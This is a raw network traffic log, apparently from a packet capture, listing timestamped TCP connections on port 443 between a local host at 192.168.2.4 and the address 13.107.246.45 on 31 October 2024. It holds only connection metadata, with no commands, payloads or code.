Oct 31, 2024 07:15:20.493624926 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.493662119 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.531524897 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.531569004 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.531626940 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.531753063 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.531766891 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.531801939 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.531806946 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.533651114 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.533689976 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.533759117 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.533868074 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.533885002 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.593592882 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.594044924 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.594067097 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.594471931 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.594477892 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.722723007 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.722840071 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.722877979 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.722887039 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.722943068 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.723073006 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.723083973 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.723093987 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.723098040 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.725481033 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.725567102 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.725668907 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.725805998 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.725842953 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.187988043 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.188520908 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.188535929 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.188966990 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.188972950 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.230724096 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.231043100 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.231066942 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.231385946 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.231389999 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.237073898 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.237345934 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.237406015 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.237642050 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.237660885 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.274555922 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.274859905 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.274882078 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.275163889 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.275171041 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.366036892 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.366082907 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.366131067 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.366257906 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.366271019 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.366278887 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.366283894 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.366302967 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.366446972 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.366504908 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.367326021 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.367326021 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.367362976 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.367387056 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.369421959 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.369452000 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.369543076 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.370312929 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.370349884 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.370403051 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.370440006 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.370455027 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.370515108 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.370532990 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.407675028 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.407696962 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.407721996 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.407752037 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.407784939 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.407938004 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.407948971 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.407960892 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.407968044 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.409817934 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.409847021 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.409917116 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.410032988 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.410044909 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.463027000 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.464369059 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.464407921 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.464817047 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.464829922 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.537036896 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.537085056 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.537146091 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.537329912 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.537347078 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.537381887 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.537386894 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.540079117 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.540111065 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.540188074 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.540348053 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.540360928 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.594361067 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.594413042 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.594499111 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.594651937 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.594671011 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.594711065 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.594724894 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.596692085 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.596705914 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:21.596781015 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.596915960 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:21.596925974 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.238004923 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.238497972 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.238523960 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.238959074 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.238965034 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.239298105 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.239521027 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.239680052 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.239696026 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.239767075 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.239787102 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.240094900 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.240103006 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.240175009 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.240180016 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.284857988 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.285245895 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.285255909 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.285629988 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.285634995 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.323331118 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.323651075 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.323663950 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.324064970 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.324070930 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.367377043 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.367444038 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.367501974 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.367515087 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.367541075 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.367592096 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.367607117 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.367619991 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.367630959 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.367636919 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.368422031 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.368463039 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.368510962 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.368738890 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.368756056 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.368767977 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.368781090 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.370866060 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.370882988 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.370956898 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.371233940 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.371247053 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.371766090 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.371834040 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.371896029 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.372047901 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.372078896 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.374140024 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.374180079 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.374222994 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.374315023 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.374330044 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.374341011 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.374346018 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.375937939 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.375948906 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.376025915 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.376127005 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.376140118 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.413264990 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.413306952 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.413352013 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.429214001 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.429224968 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.429384947 CET	49870	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.429390907 CET	443	49870	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.430977106 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.431008101 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.431086063 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.431191921 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.431215048 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.456240892 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.456267118 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.456298113 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.456371069 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.456402063 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.456520081 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.456526995 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.456561089 CET	49871	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.456567049 CET	443	49871	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.458268881 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.458287954 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:22.458343983 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.458452940 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:22.458471060 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.093667030 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.094156027 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.094177008 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.094604015 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.094609976 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.113677025 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.113979101 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.114005089 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.114348888 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.114362955 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.115062952 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.115297079 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.115305901 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.115628004 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.115633011 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.167853117 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.168343067 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.168364048 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.168780088 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.168792009 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.199326038 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.199740887 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.199764013 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.200299978 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.200304985 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.232563019 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.232603073 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.232651949 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.232826948 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.232826948 CET	49874	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.232842922 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.232853889 CET	443	49874	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.235419035 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.235466003 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.235542059 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.235716105 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.235722065 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.244623899 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.245258093 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.245325089 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.245363951 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.245363951 CET	49872	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.245369911 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.245378971 CET	443	49872	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.247564077 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.247582912 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.247651100 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.247762918 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.247771978 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.248732090 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.248771906 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.248823881 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.248981953 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.248981953 CET	49873	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.249006033 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.249028921 CET	443	49873	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.250960112 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.250969887 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.251028061 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.251140118 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.251147985 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.298264027 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.298288107 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.298316002 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.298343897 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.298377037 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.298526049 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.298526049 CET	49875	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.298543930 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.298563957 CET	443	49875	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.300384045 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.300411940 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.300507069 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.300628901 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.300642014 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.330668926 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.330758095 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.330811977 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.330905914 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.330915928 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.330926895 CET	49876	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.330931902 CET	443	49876	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.333030939 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.333062887 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.333117008 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.333276987 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.333287954 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.963530064 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.963960886 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.963978052 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.964452028 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.964458942 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.973115921 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.974210978 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.974217892 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.974622011 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.974627018 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.989820004 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.991460085 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.991483927 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:23.991837978 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:23.991842985 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.026263952 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.027482033 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.027499914 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.027875900 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.027880907 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.069008112 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.071652889 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.071664095 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.072041035 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.072046995 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.092623949 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.092668056 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.092755079 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.092919111 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.092936039 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.092969894 CET	49877	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.092976093 CET	443	49877	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.095438957 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.095458031 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.095525980 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.095645905 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.095655918 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.100147009 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.100167990 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.100193977 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.100220919 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.100240946 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.100347042 CET	49879	443	192.168.2.4	13.107.246.45
